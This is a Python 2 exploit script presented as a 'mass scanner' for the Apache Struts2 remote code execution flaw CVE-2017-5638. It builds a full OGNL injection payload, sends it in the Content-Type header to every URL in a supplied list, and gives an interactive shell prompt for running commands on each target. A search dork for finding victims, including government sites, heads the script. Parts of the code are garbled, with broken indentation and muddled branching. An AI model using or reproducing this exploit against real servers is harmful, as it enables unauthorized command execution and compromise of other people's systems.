Apache Struts (CVE-2017-5638) RCE Mass Scanner

#!/usr/bin/python
# Modded Apache Struts2 RCE Exploit CVE-2017-5638 | By; LiGhT
# Dork: "site:com filetype:action"
# site example^: org,net,egu,gov,io,pw

import urllib2
import httplib
import sys, re, os

strutz = open(sys.argv[1], "r").readlines()

def exploit(url, cmd):
    page = ''
    payload = "%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"

    # cmd can be exit if you wanna quit the session
    try:
    if cmd.lower() == "exit":
        pass
    else:
        url = ''.join(url)
        if "http://" not in url:
            url = "http://"+url
        elif "https://" in url:
            url = url.replace("https://", "http://")
        else:
            pass
            headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
            request = urllib2.Request(url, headers=headers)
            page = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        pass
    except KeyboardInterrupt:
    print
        pass
    except Exception:
        pass
    print "\033[35m%s"%(page)


for url in strutz:
    try:
        cmd = raw_input("\033[32mShell\033[37m> ")
        exploit(url, cmd)
    except KeyboardInterrupt:
        print
        pass
    except Exception:
        pass